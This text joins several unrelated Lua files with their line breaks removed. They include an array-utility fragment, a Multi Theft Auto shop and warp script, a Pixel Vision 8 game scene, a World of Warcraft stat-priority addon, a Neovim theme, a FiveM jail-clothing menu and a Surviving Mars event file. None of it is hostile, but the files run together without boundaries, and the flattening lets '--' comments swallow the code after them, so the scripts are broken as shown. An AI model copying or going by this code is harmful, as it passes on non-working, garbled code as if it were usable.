M.ArrayReverse = ArrayReverse; M.Array2DHaveElement = Array2DHaveElement; M.Array2DElement = Array2DHaveElement; M.Power = Power; M.Point = Point; M.Array2D = Array2D; M.RecordDelete = RecordDelete; M.RecordCopy = RecordCopy; M.VectorLength = VectorLength; M.VectorDirection = VectorDirection; M.VectorXY = VectorXY; return M;
function out(player) setElementPosition (source, 1575.95, -1329.55, 16.48) setElementDimension (source, 0) end addEvent ("warpOut", true) addEventHandler ("warpOut", getRootElement(), out) function enter(player) setElementPosition (source, 1547.06, -1366.3, 326.21) setElementDimension (source, 0) end addEvent ("warpIn", true) addEventHandler ("warpIn", getRootElement(), enter) function buy() if getPlayerMoney(source) >= 8000 then giveWeapon (source, 46,0) exports.NGCdxmsg:createNewDxMessage("You have bought a parachute", source, 0, 255, 0) exports.AURpayments:takeMoney(source,8000,"AUR Parachute") end end addEvent ("buyPara", true) addEventHandler ("buyPara", getRootElement(), buy) function armor() if getPlayerMoney(source) >= 15000 then setPedArmor(source, 100) exports.NGCdxmsg:createNewDxMessage("You have bought an armor", source, 0, 255, 0) exports.AURpayments:takeMoney(source,15000,"AUR Armor") end end addEvent ("buyArm", true) addEventHandler ("buyArm", getRootElement(), armor)
return function(vars, args) -- a/s/d/f return vars.read(args[1]) end
--[[ ## Space Station 8 `scene-game.lua` Learn more about making Pixel Vision 8 games at http://docs.pixelvision8.com ]]-- -- The game scene needs to load a few dependent scripts first. require "micro-platformer" require "entities" require "entity-player" require "entity-enemy" -- We need to create a table to store all of the scene's functions. GameScene = {} GameScene.__index = GameScene -- This create a new instance of the game scene function GameScene:Init() -- These should use a timer instead QUIT_TIMER, RESPAWN_TIMER, GAME_OVER_TIMER, WIN_GAME = 2, 1, 4, 4 -- Now we can define some constants that respresent the points of specific items or actives in the game. STEP_POINT, KEY_POINT, GEM_POINT, EXIT_POINT = 10, 50, 100, 500 EMPTY, SOLID, PLATFORM, DOOR_OPEN, DOOR_LOCKED, ENEMY, SPIKE, SWITCH_OFF, SWITCH_ON, LADDER, PLAYER, KEY, GEM = -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11 -- local _game = { totalInstances = 0, maxAir = 100, air = 100, airLoss = 4, maxLives = 3, flagMap = {}, microPlatformer = MicroPlatformer:Init(), -- TODO Replace with timer startTimer = -1, startDelay = 1000, } local sprite = NewMetaSprite("o2-bar", {35, 37, 37, 37, 37, 37}, 6) sprite.AddSprite(36, 8, 0) sprite.AddSprite(36, 5 * SpriteSize().X, 0, true) setmetatable(_game, GameScene) -- make Account handle lookup _game:RegisterFlags() return _game end -- Since we manually loaded up the tilemap and are not using a tilemap flag file we need to register the flags manually. We'll do this by creating a list of meta sprites and the flags that should be associate with each of their sprites. function GameScene:RegisterFlags() -- First, we need to build a lookup table for all of the flags. We'll do this by getting the meta sprite's children sprites and associating them with a particular flag. We'll create a nested table that contains arrays. Each array will have an array of sprite ids and a flag id. The final items in the table will be structured as `{sprites, flag}` so when we loop through this later, we can access the sprite array at position `1` and the associated flag at index `2`. local spriteMap = { {"solid", SOLID}, {"platform", PLATFORM}, {"door-open", DOOR_OPEN}, {"door-locked", DOOR_LOCKED}, {"enemy", ENEMY}, {"spike", SPIKE}, {"switch-off", SWITCH_OFF}, {"switch-on", SWITCH_ON}, {"ladder", LADDER}, {"player", PLAYER}, {"key", KEY}, {"gem", GEM}, } -- Now we can loop through the sprite names and create a flag lookup table for each of the sprites. for i = 1, #spriteMap do -- Since we know that each nested array looks like `{sprites, flag}` we can access the sprite array at position `1` and the associated flag at index `2`. Setting these two variables at the top of the loop just makes it easier to access them. local spriteName = spriteMap[i][1] local flag = spriteMap[i][2] -- Now we need to get all the sprites associated with the meta sprite's name by calling the `MetaSprite()` API. local sprites = MetaSprite(spriteName).Sprites -- Calling the `MetaSprite()` API returns a sprite collection. There are several properties and functions that can be called on the sprite collection. The most important one is the `Sprites` property which returns an array of all the sprites in the collection. Each item in the array is a `SpriteData` object which has an `Id` property we can use to determine which sprite in the collection should be associated with the flag. -- We'll loop through the flags and create a new array for each flag. for j = 1, #sprites do self.flagMap[sprites[j].Id] = flag end end end function GameScene:Reset() self.lives = self.maxLives self:RestartLevel() end function GameScene:RedrawUI() ClearTitle() ClearMessage() self.title = MessageBuilder( { {"PLAYING ", 2}, {mapLoader:GetMapName(), 3} } ) self.message = MessageBuilder( { {" SCORE", 2} } ) DisplayTitle(self.title, -1) DisplayMessage(self.message, -1) DrawMetaSprite("o2-bar", 7 * 8, Display().Y - SpriteSize().Y, false, false, DrawMode.TilemapCache) end function GameScene:RestartLevel() self.microPlatformer:Reset() -- Reset everything to default values self.atDoor = false self.startTimer = -1 self.air = self.maxAir + 10 -- Reset the score self.score = 0 self.scoreDisplay = -1 -- Reset the key flag self.unlockExit = false -- Create UI -- DrawRect(0, 0, Display().X, 7, 0) DrawRect(0, Display().Y - 8, Display().X, 8, 2) -- Clear old instances -- self.instances = {} -- self.totalInstances = 0 self.originalSprites = {} local total = TilemapSize().C * (TilemapSize().R - 2) -- We need to keep track of some flag while we iterate over all of the tiles in the map. These flags will keep track of the three main things each level needs, a player, a key, and a door. local foundPlayer = false local foundDoor = false local foundKey = false -- If we don't fine all of these the map can not be played. So we need to make sure we have all of them after we are done looping through the tiles and kick the player back to the previous screen so the game doesn't throw an error. -- Loop through all of the tiles for i = 1, total do local pos = CalculatePosition(i-1, TilemapSize().C) local tile = Tile(pos.X, pos.Y) local spriteId = tile.SpriteId--tilemapData.SpriteIds.Pixels[i] -- Save the sprite Id so we can restore it before going back to the editor table.insert(self.originalSprites, spriteId) local flag = -1 -- See if the sprite is mapped to a tile if(self.flagMap[spriteId] ~= nil) then -- Set the flag on the tile flag = self.flagMap[spriteId] -- Convert the x and y to pixels local x = pos.X * 8 local y = pos.Y * 8 -- solid if(flag == SOLID) then -- falling-platform elseif(flag == PLATFORM ) then -- door-open or door-locked elseif(flag == DOOR_OPEN or flag == DOOR_LOCKED) then if(foundDoor == false) then foundDoor = true -- Change the door to locked spriteId = MetaSprite("door-locked").Sprites[1].Id -- Lock the door flag = DOOR_LOCKED -- Save the door tile to unlock when the key is found self.doorTile = NewPoint(x, y) else -- Remove any other door sprite from the map spriteId = -1 end -- enemy elseif(flag == ENEMY ) then local flip = Tile(pos.X, pos.Y).SpriteId ~= MetaSprite("enemy").Sprites[1].Id self.microPlatformer:AddEntity(Enemy:Init(x, y, flip)) -- Remove any enemy sprites from the map spriteId = -1 flag = -1 -- player elseif(flag == PLAYER ) then if(foundPlayer == false) then local flip = Tile(pos.X, pos.Y).SpriteId ~= MetaSprite("player").Sprites[1].Id self.playerEntity = Player:Init(x, y, flip) self.microPlatformer:AddEntity(self.playerEntity) foundPlayer = true self.invalidateLives = true end -- Remove any player sprites from the map spriteId = -1 flag = -1 -- key elseif(flag == KEY ) then self.invalidateKey = true foundKey = true end end Tile(pos.X, pos.Y, spriteId, 0, flag) end if(foundPlayer == false or foundDoor == false or foundKey == false) then self:ReturnToEditor() return end self:RedrawUI() end function GameScene:Update(timeDelta) local td = timeDelta/1000 if(Button(Buttons.Select, InputState.Down) and self.startTimer == -1) then self.startTimer = 0 self.startCount = QUIT_TIMER elseif(Button(Buttons.Select, InputState.Released)) then -- Reset self.startTimer = -1 -- self.startCount = QUIT_TIMER end if(self.startTimer ~= -1) then self.startTimer = self.startTimer + timeDelta if(self.startTimer > self.startDelay) then self.startTimer = 0 if(self.startCount > 0) then self.startCount = self.startCount - 1 else if(Button(Buttons.Select, InputState.Down) == true or self.lives < 0 or self.atDoor == true) then self:ReturnToEditor() else self:RestoreTilemap() self:RestartLevel() self.startTimer = -1 end end end end -- local starCount = stars local wasAlive = self.playerEntity.alive -- Update the player logic first so we always have the correct player x and y pos self.microPlatformer:Update(td) -- Check for collisions if(self.playerEntity.keyCollected and self.unlockExit == false) then self.unlockExit = true self.invalidateKey = true -- Clear the tile the player is currently in self:ClearTileAt(self.playerEntity.center) self:ClearTileAt(self.doorTile, MetaSprite("door-open").Sprites[1].Id, DOOR_OPEN) self:IncreaseScore(KEY_POINT) elseif(self.playerEntity.collectedGem == true) then self:IncreaseScore(GEM_POINT) self.playerEntity.collectedGem = false self:ClearTileAt(self.playerEntity.center) elseif(self.playerEntity.currentFlag == DOOR_OPEN and self.atDoor == false) then self.atDoor = true -- TODO exit level self.startTimer = 0 self.startCount = WIN_GAME self:IncreaseScore(EXIT_POINT) end if(self.atDoor == false and self.playerEntity.alive == true) then self.air = self.air - (self.airLoss * td) if(self.air <= 0) then self.playerEntity.alive = false end end if(self.playerEntity.alive == false) then if(wasAlive == true) then self.startTimer = 0 -- self.startCount = self.startCounts self.lives = self.lives - 1 self.invalidateLives = true if(self.lives >= 0) then self.startCount = RESPAWN_TIMER else self.startCount = GAME_OVER_TIMER end end elseif(self.atDoor == false) then self:IncreaseScore(STEP_POINT * td) end local percent = (self.air/ self.maxAir) if(percent > 1) then percent = 1 elseif(percent < 0) then percent = 0 end DrawRect((8 * 8) + 2, Display().Y - 6, 36 * percent, 3, BackgroundColor(), DrawMode.Sprite) -- Update score if(self.scoreDisplay ~= self.score) then local diff = math.floor((self.score - self.scoreDisplay) / 4) if(diff < 5) then self.scoreDisplay = self.score else self.scoreDisplay = self.scoreDisplay + diff end end DrawText(string.padLeft(tostring(Clamp(self.scoreDisplay, 0, 9999)), 4, "0"), Display().X - (6 * 4), Display().Y - 9, DrawMode.SpriteAbove, "medium", 3, -4) end -- We can use this function to help making clearing tiles in the map easier. This is called when the player collects the key, gem, or the door is unlocked. It requires a position and an option new sprite id. By default, if no sprite id is provided, the tile will simply be cleared. function GameScene:ClearTileAt(pos, newId, newFlag) newId = newId or -1 newFlag = newFlag or -1 local col = math.floor(pos.X/8) local row = math.floor(pos.Y/8) Tile(col, row, newId, 0, newFlag) end function GameScene:Draw() if(self.startTimer > -1) then local message = "IN " .. self.startCount + 1 if(Button(Buttons.Select, InputState.Down) == true) then message = "EXITING GAME " .. message elseif(self.lives < 0) then message = "GAME OVER " .. message elseif(self.atDoor == true) then message = "ESCAPING " .. message else message = "RESTARTING " .. message end DisplayTitle(message, -1, 1) else -- TODO this is being called on every draw frame DisplayTitle(self.title, -1, true) end if(self.invalidateLives == true) then for i = 1, self.maxLives do DrawMetaSprite("ui-life", i * 8, Display().Y - 9, true, false, DrawMode.TilemapCache, self.lives < i and 1 or 3) end self.invalidateLives = false end if(self.invalidateKey == true) then DrawMetaSprite("ui-key", 40, Display().Y - 8, false, false, DrawMode.TilemapCache, self.unlockExit == true and 2 or 1) self.invalidateKey = false end if(self.atDoor == false) then -- Need to draw the player last since the order of sprite draw calls matters self.microPlatformer:Draw() end end function GameScene:RestoreTilemap() local total = #self.originalSprites for i = 1, total do local pos = CalculatePosition(i-1, TilemapSize().C) Tile(pos.X, pos.Y, self.originalSprites[i], 0, -1) end end function GameScene:ReturnToEditor() self:RestoreTilemap() SwitchScene(EDITOR) end function GameScene:IncreaseScore(value) self.score = self.score + value end
local K, C, L = unpack(select(2, ...)) if IsAddOnLoaded("StatPriority") or IsAddOnLoaded("IcyVeinsStatPriority") or IsAddOnLoaded("ClassSpecStats") then return end local _G = _G local string_trim = _G.string.trim local GetSpecializationInfoForClassID = _G.GetSpecializationInfoForClassID local SlashCmdList = _G.SlashCmdList local UnitClass = _G.UnitClass local CreateFrame = _G.CreateFrame local currentSpecID local items = {} local addBtn local customFrame -- frame (button) local frame = CreateFrame("Button", "KKUI_StatPriorityFrame", UIParent) frame:SetPoint("BOTTOMRIGHT", PaperDollFrame, "TOPRIGHT", -2, 4) frame:SetParent(PaperDollFrame) frame:CreateBorder() frame.title = "Stat Priority (Icy Veins - Patch 9.1)" K.AddTooltip(frame, "ANCHOR_BOTTOMRIGHT", "Click for more stat priority options", "info") -- function local function SetFrame(show) frame:SetNormalFontObject("KkthnxUIFont") frame:SetHeight(12 + 7) if show then frame:Show() else frame:Hide() end end local function SetText(text) if not text then return end frame:SetText(text) frame:SetWidth(frame:GetFontString():GetStringWidth() + 20) end -- widgets local function CreateButton(parent, width, height, text) local b = CreateFrame("Button", nil, parent) b:SkinButton() b:SetNormalFontObject(KkthnxUIFont) b:SetWidth(width) b:SetHeight(height) b:SetText(text) return b end -- custom editbox local function ShowCustomFrame(sp, desc, k, isSelected) if not customFrame then customFrame = CreateFrame("Frame", nil, addBtn) customFrame:Hide() customFrame:SetSize(280, 50) customFrame:SetPoint("TOPLEFT", addBtn, "BOTTOMLEFT", 0, -1) customFrame:SetScript("OnHide", function() customFrame:Hide() for _, item in pairs(items) do if item.del then item.del:SetEnabled(true) item.del.KKUI_Background:SetVertexColor(.6, .1, .1, 1) end end end) customFrame:SetScript("OnShow", function() for _, item in pairs(items) do if item.del then item.del:SetEnabled(false) item.del.KKUI_Background:SetVertexColor(.4, .4, .4, 1) end end end) local height = select(2, KkthnxUIFont:GetFont()) + 7 customFrame.eb1 = CreateFrame("EditBox", nil, customFrame) customFrame.eb1:CreateBorder() customFrame.eb1:SetFontObject(KkthnxUIFont) customFrame.eb1:SetMultiLine(false) customFrame.eb1:SetMaxLetters(0) customFrame.eb1:SetJustifyH("LEFT") customFrame.eb1:SetJustifyV("CENTER") customFrame.eb1:SetWidth(320) customFrame.eb1:SetHeight(height) customFrame.eb1:SetTextInsets(5, 5, 0, 0) customFrame.eb1:SetAutoFocus(false) customFrame.eb1:SetScript("OnEscapePressed", function() customFrame.eb1:ClearFocus() end) customFrame.eb1:SetScript("OnEnterPressed", function() customFrame.eb1:ClearFocus() end) customFrame.eb1:SetScript("OnEditFocusGained", function() customFrame.eb1:HighlightText() end) customFrame.eb1:SetScript("OnEditFocusLost", function() customFrame.eb1:HighlightText(0, 0) end) customFrame.eb2 = CreateFrame("EditBox", nil, customFrame) customFrame.eb2:CreateBorder() customFrame.eb2:SetFontObject(KkthnxUIFont) customFrame.eb2:SetMultiLine(false) customFrame.eb2:SetMaxLetters(0) customFrame.eb2:SetJustifyH("LEFT") customFrame.eb2:SetJustifyV("CENTER") customFrame.eb2:SetTextInsets(5, 5, 0, 0) customFrame.eb2:SetAutoFocus(false) customFrame.eb2:SetScript("OnEscapePressed", function() customFrame.eb2:ClearFocus() end) customFrame.eb2:SetScript("OnEnterPressed", function() customFrame.eb2:ClearFocus() end) customFrame.eb2:SetScript("OnEditFocusGained", function() customFrame.eb2:HighlightText() end) customFrame.eb2:SetScript("OnEditFocusLost", function() customFrame.eb2:HighlightText(0, 0) end) customFrame.eb2:SetPoint("TOPLEFT", customFrame.eb1, "BOTTOMLEFT", 0, -6) customFrame.cancelBtn = CreateButton(customFrame, height - 2, height - 2, "×") customFrame.cancelBtn:SetPoint("TOPRIGHT", customFrame.eb1, "BOTTOMRIGHT", 0, -6) customFrame.cancelBtn:SetScript("OnClick", function() customFrame:Hide() end) customFrame.confirmBtn = CreateButton(customFrame, height - 2, height - 2, "√") customFrame.confirmBtn:SetPoint("RIGHT", customFrame.cancelBtn, "LEFT", -6, 0) customFrame.eb1:SetPoint("TOPLEFT", 0, -4) customFrame.eb2:SetPoint("BOTTOMRIGHT", customFrame.confirmBtn, "BOTTOMLEFT", -6, 0) customFrame.eb1:SetScript("OnTextChanged", function(self) -- if not userInput then return end if string_trim(self:GetText()) == "" then customFrame.eb1.valid = false else customFrame.eb1.valid = true end if customFrame.eb1.valid and customFrame.eb2.valid then customFrame.confirmBtn:SetEnabled(true) customFrame.confirmBtn.KKUI_Background:SetVertexColor(.1, .6, .1, 1) else customFrame.confirmBtn:SetEnabled(false) customFrame.confirmBtn.KKUI_Background:SetVertexColor(.4, .4, .4, 1) end end) customFrame.eb2:SetScript("OnTextChanged", function(self) -- if not userInput then return end if string_trim(self:GetText()) == "" then customFrame.eb2.valid = false else customFrame.eb2.valid = true end if customFrame.eb1.valid and customFrame.eb2.valid then customFrame.confirmBtn:SetEnabled(true) customFrame.confirmBtn.KKUI_Background:SetVertexColor(.1, .6, .1, 1) else customFrame.confirmBtn:SetEnabled(false) customFrame.confirmBtn.KKUI_Background:SetVertexColor(.4, .4, .4, 1) end end) end -- update db customFrame.confirmBtn:SetScript("OnClick", function() if k then -- edit KkthnxUIDB.StatPriority.Custom[currentSpecID][k] = { string_trim(customFrame.eb1:GetText()), string_trim(customFrame.eb2:GetText()) } if isSelected then -- current shown SetText(KkthnxUIDB.StatPriority.Custom[currentSpecID][k][1]) end else if type(KkthnxUIDB.StatPriority.Custom[currentSpecID]) ~= "table" then KkthnxUIDB.StatPriority.Custom[currentSpecID] = {} end table.insert(KkthnxUIDB.StatPriority.Custom[currentSpecID], { string_trim(customFrame.eb1:GetText()), string_trim(customFrame.eb2:GetText()) }) end customFrame:Hide() frame:LoadList() frame:Click() end) customFrame.eb1:SetText(sp or "Stat Priority") customFrame.eb1:ClearFocus() customFrame.eb2:SetText(desc or "Description") customFrame.eb2:ClearFocus() customFrame:Show() end -- list button functions local textWidth = 0 local function AddItem(text, k) local item = CreateButton(frame, 200, select(2, KkthnxUIFont:GetFont()) + 7, text) item:Hide() textWidth = math.max(item:GetFontString():GetStringWidth(), textWidth) -- highlight texture item.highlight = item:CreateTexture() item.highlight:SetColorTexture(.5, 1, 0, 1) item.highlight:SetSize(5, item:GetHeight() - 2) item.highlight:SetPoint("LEFT", 1, 0) item.highlight:Hide() -- delete/edit button if k then item.edit = CreateButton(item, item:GetHeight(), item:GetHeight(), "e") item.edit:SetPoint("LEFT", item, "RIGHT", 6, 0) item.edit:SetScript("OnClick", function() ShowCustomFrame(KkthnxUIDB.StatPriority.Custom[currentSpecID][k][1], KkthnxUIDB.StatPriority.Custom[currentSpecID][k][2], k, KkthnxUIDB.StatPriority["selected"][currentSpecID] == item.n) end) item.del = CreateButton(item, item:GetHeight(), item:GetHeight(), "×") item.del:SetPoint("LEFT", item.edit, "RIGHT", 6, 0) item.del:SetScript("OnClick", function() if IsShiftKeyDown() then -- remove from custom table table.remove(KkthnxUIDB.StatPriority.Custom[currentSpecID], k) -- check whether custom table is empty if #KkthnxUIDB.StatPriority.Custom[currentSpecID] == 0 then KkthnxUIDB.StatPriority.Custom[currentSpecID] = nil end if KkthnxUIDB.StatPriority["selected"][currentSpecID] == item.n then -- current selected KkthnxUIDB.StatPriority["selected"][currentSpecID] = 1 end SetText(K:GetSPText(currentSpecID)) frame:LoadList() frame:Click() else K.Print("Shift + Left Click to delete it your custom stat") end end) end table.insert(items, item) item.n = #items item:SetScript("OnHide", function() item:Hide() end) item:SetScript("OnClick", function() addBtn:Hide() for _, i in pairs(items) do i.highlight:Hide() i:Hide() end item.highlight:Show() KkthnxUIDB.StatPriority["selected"][currentSpecID] = item.n SetText(K:GetSPText(currentSpecID)) end) end -- load list function frame:LoadList() textWidth = 0 for _, i in pairs(items) do i:ClearAllPoints() i:Hide() i:SetParent(nil) end wipe(items) -- "+" button if not addBtn then addBtn = CreateButton(frame, select(2, KkthnxUIFont:GetFont()) + 7, select(2, KkthnxUIFont:GetFont()) + 7, "+") end addBtn:Hide() addBtn:ClearAllPoints() addBtn:SetPoint("TOPLEFT", frame, "TOPRIGHT", 6, 0) addBtn:SetScript("OnHide", function() addBtn:Hide() end) addBtn:SetScript("OnClick", function() ShowCustomFrame() end) local desc = K:GetSPDesc(currentSpecID) if not desc then return end for k, t in pairs(desc) do AddItem(t[1], t[2]) if k == 1 then items[1]:SetPoint("TOPLEFT", frame, "TOPRIGHT", 6, 0) else items[k]:SetPoint("TOP", items[k-1], "BOTTOM", 0, -6) end end -- re-set "+" buttona point addBtn:ClearAllPoints() addBtn:SetPoint("TOPLEFT", items[#items], "BOTTOMLEFT", 0, -6) -- update width for _, i in pairs(items) do i:SetWidth(textWidth + 20) end -- highlight selected if KkthnxUIDB.StatPriority["selected"][currentSpecID] then items[KkthnxUIDB.StatPriority["selected"][currentSpecID]].highlight:Show() else -- highlight first items[1].highlight:Show() end end -- frame OnClick frame:SetScript("OnClick", function() for _, i in pairs(items) do if i:IsShown() then i:Hide() else i:Show() end end if addBtn:IsShown() then addBtn:Hide() else addBtn:Show() end end) -- event frame:RegisterEvent("ADDON_LOADED") frame:RegisterEvent("PLAYER_LOGIN") frame:RegisterEvent("ACTIVE_TALENT_GROUP_CHANGED") frame:SetScript("OnEvent", function(self, event, ...) if not C["Misc"].PriorityStats then return end self[event](self, ...) end) function frame:ADDON_LOADED(arg1) if arg1 == "KkthnxUI" then if type(KkthnxUIDB.StatPriority.Custom) ~= "table" then KkthnxUIDB.StatPriority.Custom = {} end if type(KkthnxUIDB.StatPriority) ~= "table" then KkthnxUIDB.StatPriority = {} end if type(KkthnxUIDB.StatPriority["show"]) ~= "boolean" then KkthnxUIDB.StatPriority["show"] = true end if type(KkthnxUIDB.StatPriority["selected"]) ~= "table" then KkthnxUIDB.StatPriority["selected"] = {} end SetFrame(KkthnxUIDB.StatPriority["show"]) end end function frame:PLAYER_LOGIN() currentSpecID = GetSpecializationInfoForClassID(select(3, UnitClass("player")), GetSpecialization()) SetText(K:GetSPText(currentSpecID)) self:LoadList() end function frame:ACTIVE_TALENT_GROUP_CHANGED() local specID = GetSpecializationInfoForClassID(select(3, UnitClass("player")), GetSpecialization()) if specID ~= currentSpecID then currentSpecID = specID SetText(K:GetSPText(currentSpecID)) self:LoadList() end end
-- 'sindrets/winshift.nvim' return function(c, s) return { { { 'WinShiftNormal', 'WinShiftEndOfBuffer' }, c.none, c.dark_black_alt }, { 'WinShiftLineNr', c.yellow, c.dark_black_alt }, { 'WinShiftCursorLineNr', c.yellow, c.dark_black_alt, s.bold }, { 'WinShiftSignColumn', c.cyan, c.dark_black_alt }, { 'WinShiftWindowPicker', c.purple, c.blue, s.bold }, { 'WinShiftFoldColumn', c.cyan, c.dark_black_alt }, } end
local Keys = { ["ESC"] = 322, ["BACKSPACE"] = 177, ["E"] = 38, ["ENTER"] = 18, ["LEFT"] = 174, ["RIGHT"] = 175, ["TOP"] = 27, ["DOWN"] = 173 } local menuIsShowed = false local hasAlreadyEnteredMarker = false local lastZone = nil local isInjaillistingMarker = false ESX = nil Citizen.CreateThread(function() while ESX == nil do TriggerEvent('esx:getSharedObject', function(obj) ESX = obj end) Citizen.Wait(0) end end) function ShowJailListingMenu(data) ESX.UI.Menu.CloseAll() ESX.UI.Menu.Open( 'default', GetCurrentResourceName(), 'jaillisting', { title = _U('jail_center'), elements = { {label = _U('citizen_wear'), value = 'citizen_wear'}, {label = _U('jail_wear'), value = 'jail_wear'}, }, }, function(data, menu) local ped = GetPlayerPed(-1) menu.close() if data.current.value == 'citizen_wear' then ESX.TriggerServerCallback('esx_skin:getPlayerSkin', function(skin, jailSkin) TriggerEvent('skinchanger:loadSkin', skin) end) end if data.current.value == 'jail_wear' then ESX.TriggerServerCallback('esx_skin:getPlayerSkin', function(skin, jailSkin) if skin.sex == 0 then SetPedComponentVariation(GetPlayerPed(-1), 3, 5, 0, 0)--Gants SetPedComponentVariation(GetPlayerPed(-1), 4, 9, 4, 0)--Jean SetPedComponentVariation(GetPlayerPed(-1), 6, 61, 0, 0)--Chaussure SetPedComponentVariation(GetPlayerPed(-1), 11, 5, 0, 0)--Veste SetPedComponentVariation(GetPlayerPed(-1), 8, 15, 0, 0)--GiletJaune elseif skin.sex == 1 then SetPedComponentVariation(GetPlayerPed(-1), 3, 14, 0, 0)--Gants SetPedComponentVariation(GetPlayerPed(-1), 4, 3, 15, 0)--Jean SetPedComponentVariation(GetPlayerPed(-1), 6, 52, 0, 0)--Chaussure SetPedComponentVariation(GetPlayerPed(-1), 11, 73, 0, 0)--Veste SetPedComponentVariation(GetPlayerPed(-1), 8, 14, 0, 0)--GiletJaune else TriggerEvent('skinchanger:loadClothes', skin, jailSkin.skin_female) end end) end end, function(data, menu) menu.close() end ) end AddEventHandler('eden_jail:hasExitedMarker', function(zone) ESX.UI.Menu.CloseAll() end) -- Display markers Citizen.CreateThread(function() while true do Wait(0) local coords = GetEntityCoords(GetPlayerPed(-1)) for i=1, #Config.Zones, 1 do if(GetDistanceBetweenCoords(coords, Config.Zones[i].x, Config.Zones[i].y, Config.Zones[i].z, true) < Config.DrawDistance) then DrawMarker(Config.MarkerType, Config.Zones[i].x, Config.Zones[i].y, Config.Zones[i].z, 0.0, 0.0, 0.0, 0, 0.0, 0.0, Config.ZoneSize.x, Config.ZoneSize.y, Config.ZoneSize.z, Config.MarkerColor.r, Config.MarkerColor.g, Config.MarkerColor.b, 100, false, true, 2, false, false, false, false) end end end end) -- Activate menu when player is inside marker Citizen.CreateThread(function() while true do Wait(0) local coords = GetEntityCoords(GetPlayerPed(-1)) isInJaillistingMarker = false local currentZone = nil for i=1, #Config.Zones, 1 do if(GetDistanceBetweenCoords(coords, Config.Zones[i].x, Config.Zones[i].y, Config.Zones[i].z, true) < Config.ZoneSize.x) then isInJaillistingMarker = true SetTextComponentFormat('STRING') AddTextComponentString(_U('access_jail_center')) DisplayHelpTextFromStringLabel(0, 0, 1, -1) end end if isInJaillistingMarker and not hasAlreadyEnteredMarker then hasAlreadyEnteredMarker = true end if not isInJaillistingMarker and hasAlreadyEnteredMarker then hasAlreadyEnteredMarker = false TriggerEvent('eden_jail:hasExitedMarker') end end end) -- Menu Controls Citizen.CreateThread(function() while true do Wait(0) if IsControlJustReleased(0, Keys['E']) and isInJaillistingMarker and not menuIsShowed then ShowJailListingMenu() end end end)
-- ========== THIS IS AN AUTOMATICALLY GENERATED FILE! ========== PlaceObj('StoryBit', { ActivationEffects = {}, Category = "Tick_FounderStageDone", Effects = {}, Enabled = true, Image = "UI/Messages/Events/09_fireworks.tga", Prerequisites = { PlaceObj('IsSolInRange', { 'Max', 80, }), }, ScriptDone = true, Text = T(784882052902, --[[StoryBit Party Text]] "Small groups of people talk and laugh, while others dance to the groovy music. Someone sees you and the music stops abruptly. Everyone is looking slightly guilty."), TextReadyForValidation = true, TextsDone = true, Title = T(683841873799, --[[StoryBit Party Title]] "Party!"), VoicedText = T(949723673521, --[[voice:narrator]] "The door of the command room opens and you’re hit by the loud noise. A party!"), group = "Colonists", id = "Party", qa_info = PlaceObj('PresetQAInfo', { data = { { action = "Modified", time = 1625144391, }, }, }), PlaceObj('StoryBitParamNumber', { 'Name', "morale_bonus", 'Value', 10, }), PlaceObj('StoryBitParamSols', { 'Name', "morale_duration", 'Value', 7200000, }), PlaceObj('StoryBitParamNumber', { 'Name', "comfort_bonus", 'Value', 15, }), PlaceObj('StoryBitReply', { 'Text', T(446442320434, --[[StoryBit Party Text]] "I expect the maintenance and efficiency reports on my desk by 11:00 local time."), }), PlaceObj('StoryBitOutcome', { 'Prerequisites', {}, 'Title', T(139200594944, --[[StoryBit Party Title]] "Party!"), 'VoicedText', T(827831603659, --[[voice:narrator]] "Recreation is important, but duties, especially the duties of Mission Control, must never be forgotten."), 'Text', T(315003773008, --[[StoryBit Party Text]] "Under your harsh gaze, the team cleans up the control room and attend their action stations. You take your seat – there’s work to do.\n\n<effect>+<morale_bonus> Morale for <sols(morale_duration)> Sols for all Colonists"), 'Effects', { PlaceObj('ForEachExecuteEffects', { 'Label', "Colonist", 'Filters', {}, 'Effects', { PlaceObj('ModifyObject', { 'Prop', "base_morale", 'Amount', "<morale_bonus>", 'Sols', "<morale_duration>", }), }, }), }, }), PlaceObj('StoryBitReply', { 'Text', T(880306212271, --[[StoryBit Party Text]] "What is this, a party? Who gave you permission?"), }), PlaceObj('StoryBitOutcome', { 'Prerequisites', {}, 'Title', T(877213074013, --[[StoryBit Party Title]] "Party!"), 'VoicedText', T(224796459286, --[[voice:narrator]] "Your harsh words hit them like a scourge. But they were necessary."), 'Text', T(123273551090, --[[StoryBit Party Text]] "Mars is like a death-trap, ready to snap shut when you least expect it. Your people need to learn that you will never compromise the safety and success of the colony.\n\n<effect>+<morale_bonus> Morale for <sols(morale_duration)> Sols for all Colonists"), 'Effects', { PlaceObj('ForEachExecuteEffects', { 'Label', "Colonist", 'Filters', {}, 'Effects', { PlaceObj('ModifyObject', { 'Prop', "base_morale", 'Amount', "<morale_bonus>", 'Sols', "<morale_duration>", }), }, }), }, }), PlaceObj('StoryBitReply', { 'Text', T(602410299958, --[[StoryBit Party Text]] "Smile and wave, then leave them have it their way."), }), PlaceObj('StoryBitOutcome', { 'Prerequisites', {}, 'Title', T(877213074013, --[[StoryBit Party Title]] "Party!"), 'VoicedText', T(757158290187, --[[voice:narrator]] "The Mission Control team had a pretty rough time so far. They earned the right to vent off some steam."), 'Text', T(556254556363, --[[StoryBit Party Text]] "But you know that Mars is still out there, stalking for a good moment to strike at your colony and take its toll. You leave your people have fun, and you return to your personal control station. Someone has to be on vigil.\n\n<effect>+<comfort_bonus> Comfort for all Colonists"), 'Effects', { PlaceObj('ForEachExecuteEffects', { 'Label', "Colonist", 'Filters', {}, 'Effects', { PlaceObj('ModifyColonistStat', { 'Stat', "Comfort", 'Amount', "<comfort_bonus>", }), }, }), }, }), PlaceObj('StoryBitReply', { 'Text', T(752382845123, --[[StoryBit Party Text]] "The secret booze stash is in this locker."), }), PlaceObj('StoryBitOutcome', { 'Prerequisites', {}, 'Title', T(250328973952, --[[StoryBit Party Title]] "Party!"), 'VoicedText', T(921949943478, --[[voice:narrator]] "You have to admit, your team needed to vent off some steam."), 'Text', T(199287635635, --[[StoryBit Party Text]] 'You join the argument of the Engineers about some nuts and bolts, then discuss the hilariously-crafted fake hypothesis of the Scientists and even taste some of the allegedly "hangover-free" moonshine of the Botanists. Who knows, there might be a grain of truth there - next morning you wake up with a smile and a light heart.\n\n<effect>+<comfort_bonus> Comfort for all Colonists'), 'Effects', { PlaceObj('ForEachExecuteEffects', { 'Label', "Colonist", 'Filters', {}, 'Effects', { PlaceObj('ModifyColonistStat', { 'Stat', "Comfort", 'Amount', "<comfort_bonus>", }), }, }), }, }), 